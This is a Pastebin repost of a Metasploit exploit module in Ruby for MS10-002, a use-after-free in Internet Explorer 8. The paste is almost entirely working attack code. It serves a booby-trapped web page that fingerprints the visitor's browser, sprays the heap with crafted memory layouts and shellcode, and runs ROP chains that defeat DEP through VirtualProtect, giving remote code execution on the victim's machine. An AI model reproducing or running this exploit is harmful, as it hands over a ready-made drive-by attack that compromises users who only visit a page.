Advertisement
The_KGB

[MSF/Exploit] MS10-002 Internet Explorer Object Memory Use-A

Mar 25th, 2012
153
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.96 KB | None | 0 0
  1. ##
  2. # This file is part of the Metasploit Framework and may be subject to
  3. # redistribution and commercial restrictions. Please see the Metasploit
  4. # Framework web site for more information on licensing and terms of use.
  5. # http://metasploit.com/framework/
  6. ##
  7. require 'msf/core'
  8. class Metasploit3 < Msf::Exploit::Remote
  9. Rank = NormalRanking
  10. include Msf::Exploit::Remote::HttpServer::HTML
  11. def initialize(info={})
  12. super(update_info(info,
  13. 'Name' => "MS10-002 Internet Explorer Object Memory Use-After-Free",
  14. 'Description' => %q{
  15. This module exploits a vulnerability found in Internet Explorer's
  16. mshtml component. Due to the way IE handles objects in memory, it is
  17. possible to cause a pointer in CTableRowCellsCollectionCacheItem::GetNext
  18. to be used even after it gets freed, therefore allowing remote code
  19. execution under the context of the user.
  20. This particular vulnerability was also one of 2012's Pwn2Own
  21. challenges, and was later explained by Peter Vreugdenhil with exploitation
  22. details. Instead of Peter's method, this module uses heap spraying like
  23. the 99% to store a specially crafted memory layout before re-using the
  24. freed memory.
  25. },
  26. 'License' => MSF_LICENSE,
  27. 'Author' =>
  28. [
  29. 'Peter Vreugdenhil', # Vulnerability discovery and exploit writeup
  30. 'juan vazquez', # Metasploit
  31. 'sinn3r' # Metasploit
  32. ],
  33. 'References' =>
  34. [
  35. [ 'MSB', 'MS10-002'],
  36. [ 'CVE', '2010-0248' ],
  37. [ 'OSVDB', '61914'],
  38. [ 'URL', 'http://dvlabs.tippingpoint.com/blog/2012/03/15/pwn2own-2012-challenge-writeup' ],
  39. [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-014/']
  40. ],
  41. 'Payload' =>
  42. {
  43. 'Space' => 1000,
  44. 'BadChars' => "\x00",
  45. 'DisableNops' => true
  46. },
  47. 'DefaultOptions' =>
  48. {
  49. 'InitialAutoRunScript' => 'migrate -f',
  50. },
  51. 'Platform' => 'win',
  52. 'Targets' =>
  53. [
  54. [ 'Automatic', {} ],
  55. [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4', 'Ret' => 0x77c15ed5 }, ],
  56. [ 'IE 8 on Windows 7 SP0', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Ret' => 0x7c348b05 } ]
  57. ],
  58. 'Privileged' => false,
  59. 'DisclosureDate' => "Jan 21 2010",
  60. 'DefaultTarget' => 0))
  61. end
  62. def get_target(agent)
  63. #If the user is already specified by the user, we'll just use that
  64. return target if target.name != 'Automatic'
  65. if agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
  66. return targets[1] #IE 8 on Windows XP SP3
  67. elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/
  68. return targets[2] #IE 8 on Windows 7 SP1 with JRE
  69. else
  70. return nil
  71. end
  72. end
  73. def on_request_uri(cli, request)
  74. agent = request.headers['User-Agent']
  75. my_target = get_target(agent)
  76. # Avoid the attack if the victim doesn't have the same setup we're targeting
  77. if my_target.nil?
  78. print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
  79. send_not_found(cli)
  80. return
  81. end
  82. js_code = build_javascript(my_target)
  83. html = %Q|
  84. <html>
  85. <head>
  86. <script>
  87. #{js_code}
  88. </script>
  89. </head>
  90. <body onLoad="window.setTimeout(Start,100);" id="bodyid">
  91. <table id="tableid">
  92. <tr><th id="thid"></th></tr>
  93. <tr id="trid"><td id="tdid"></td></tr>
  94. </table>
  95. </body>
  96. </html>
  97. |
  98. print_status("#{cli.peerhost}:#{cli.peerport} - Sending html")
  99. send_response(cli, html, {'Content-Type'=>'text/html'})
  100. end
  101. def build_javascript(my_target)
  102. p = get_payload(my_target)
  103. js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
  104. js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
  105. # The exploit will try to take up the freed memory
  106. # with a fake item before the reuse
  107. fake_item = [
  108. junk,
  109. junk,
  110. junk,
  111. junk,
  112. junk,
  113. junk,
  114. junk,
  115. junk,
  116. junk,
  117. junk,
  118. junk,
  119. junk,
  120. junk,
  121. junk,
  122. junk,
  123. junk,
  124. junk,
  125. 0x0c0c003c, # pointer to c_table_cell
  126. junk,
  127. junk,
  128. junk,
  129. 0x0c0c0050, # pointer to c_cache_item
  130. junk,
  131. junk,
  132. ].pack("V*")
  133. fake_item_js = Rex::Text.to_unescape(fake_item)
  134. # Here start the crafted layout of the memory
  135. # which will be sprayed to get code execution
  136. # IE 8 => Spray be sprayed into 0c0c0024
  137. memory_layout = [
  138. junk,
  139. junk,
  140. junk,
  141. junk,
  142. junk,
  143. junk,
  144. 0x0c0c0040, # ----- points to 0x0c0c0040
  145. 0x0c0c0c0c, # <---| 0x0c0c0c0c + 0x70: 0x0c0c0c7c will store the stackpivot with eax pointing to 0c0c0c0c
  146. junk,
  147. junk,
  148. 0x00000000, # Allows to bypass CTableCell::GetAAcolSpan
  149. junk, # Stored at 0c0c0c50
  150. junk,
  151. junk,
  152. 0x0c0c0078,
  153. junk,
  154. junk,
  155. junk,
  156. junk,
  157. junk,
  158. 0x0c0c0c50, # <- Stored at 0c0c0074 (0x0c0c0078 - 4)
  159. 0x00000001 # Stored at 0c0c0078 (0c0c0050+28) # Allows to exit of CTableRowCellsCollectionCacheItem::GetNext faster
  160. ].pack("V*")
  161. memory_layout_js = Rex::Text.to_unescape(memory_layout)
  162. # Steps:
  163. # 1. Force the free.
  164. # 2. Try to reuse the freed memory with a fake item.
  165. # The fake item store crafted pointers to the
  166. # memory which will be sprayed on step 3.
  167. # 3. Heap Spray: Shellcode + crafted memory layout to
  168. # get execution flow when the memory freed in step 1
  169. # is reused in step 4.
  170. # 4. Force the memory reuse.
  171. spray = <<-JS
  172. function Start() {
  173. var fake_items = unescape("#{fake_item_js}");
  174. while (fake_items.length < 0x1000) fake_items+= fake_items;
  175. var fake_item = fake_items.substring(0, (96-6)/2);
  176. var code = unescape("#{js_code}");
  177. var memory_layout = unescape("#{memory_layout_js}")
  178. var nops = unescape("#{js_nops}");
  179. while (nops.length < 0x80000) nops += nops;
  180. var offset = nops.substring(0, #{my_target['Offset']} - memory_layout.length);
  181. var shellcode = memory_layout + offset + code + nops.substring(0, 0x800-#{my_target['Offset']}-code.length);
  182. while (shellcode.length < 0x40000) shellcode += shellcode;
  183. var block_shell = shellcode.substring(0, (0x80000-6)/2);
  184. var heap = new heapLib.ie(0x20000);
  185. var TableClone = document.getElementById('tableid').cloneNode(1);
  186. var TableCellUrns = TableClone.cells.urns('a');
  187. var bla = TableClone.cells.item(1);
  188. var TableCellUrnsTags = TableCellUrns.tags('a');
  189. TableClone.outerText = 'a';
  190. heap.gc();
  191. for(i = 0; i < 30; i++) {
  192. heap.alloc(fake_item);
  193. }
  194. for (var i=1; i < 0x1C2; i++) {
  195. heap.alloc(block_shell);
  196. }
  197. Result = TableClone.cells;
  198. Result = TableCellUrnsTags.item(1);
  199. }
  200. JS
  201. spray = heaplib(spray, {:noobfu => true})
  202. return spray
  203. end
  204. def nop
  205. return make_nops(4).unpack("V").first
  206. end
  207. def junk(n=4)
  208. return rand_text_alpha(n).unpack("V").first
  209. end
  210. # ROP chain + shellcode will be sprayed at 0x0c0c0c0c
  211. def get_payload(t)
  212. # chain generated by mona.py - See corelan.be
  213. case t['Rop']
  214. when :msvcrt
  215. rop =
  216. [
  217. 0x77c4e392, # POP EAX # RETN
  218. 0x77c11120, # <- *&VirtualProtect()
  219. 0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
  220. junk,
  221. 0x77c2dd6c,
  222. 0x77c4ec00, # POP EBP # RETN
  223. 0x77c35459, # ptr to 'push esp # ret'
  224. 0x77c47705, # POP EBX # RETN
  225. 0x00000800, # <- change size to mark as executable if needed (-> ebx)
  226. 0x77c3ea01, # POP ECX # RETN
  227. 0x77c5d000, # W pointer (lpOldProtect) (-> ecx)
  228. 0x77c46100, # POP EDI # RETN
  229. 0x77c46101, # ROP NOP (-> edi)
  230. 0x77c4d680, # POP EDX # RETN
  231. 0x00000040, # newProtect (0x40) (-> edx)
  232. 0x77c4e392, # POP EAX # RETN
  233. nop, # NOPS (-> eax)
  234. 0x77c12df9, # PUSHAD # RETN
  235. ].pack("V*")
  236. when :jre
  237. rop =
  238. [
  239. 0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
  240. 0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)
  241. 0x7c347f98, # RETN (ROP NOP)
  242. 0x7c3415a2, # JMP [EAX]
  243. 0xffffffff,
  244. 0x7c376402, # skip 4 bytes
  245. 0x7c351e05, # NEG EAX # RETN
  246. 0x7c345255, # INC EBX # FPATAN # RETN
  247. 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
  248. 0x7c344f87, # POP EDX # RETN
  249. 0xffffffc0, # Value to negate, will become 0x00000040
  250. 0x7c351eb1, # NEG EDX # RETN
  251. 0x7c34d201, # POP ECX # RETN
  252. 0x7c38b001, # &Writable location
  253. 0x7c347f97, # POP EAX # RETN
  254. 0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
  255. 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
  256. 0x7c345c30, # ptr to 'push esp # ret '
  257. ].pack("V*")
  258. end
  259. code = rop
  260. code << make_nops(38)
  261. code << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+0x6").encode_string # instr length: 2 bytes
  262. code << [t.ret].pack("V") # Stack Pivot
  263. code << payload.encoded
  264. return code
  265. end
  266. end
  267. =begin
  268. (694.cc0): Break instruction exception - code 80000003 (first chance)
  269. eax=00000000 ebx=00000100 ecx=0241f518 edx=7c90e4f4 esi=7c90d6d0 edi=ffffffff
  270. eip=7c8022cf esp=0241f534 ebp=0241f548 iopl=0 nv up ei pl zr na pe nc
  271. cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
  272. kernel32!WriteProcessMemory+0x6d:
  273. 7c8022cf cc int 3
  274. =end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement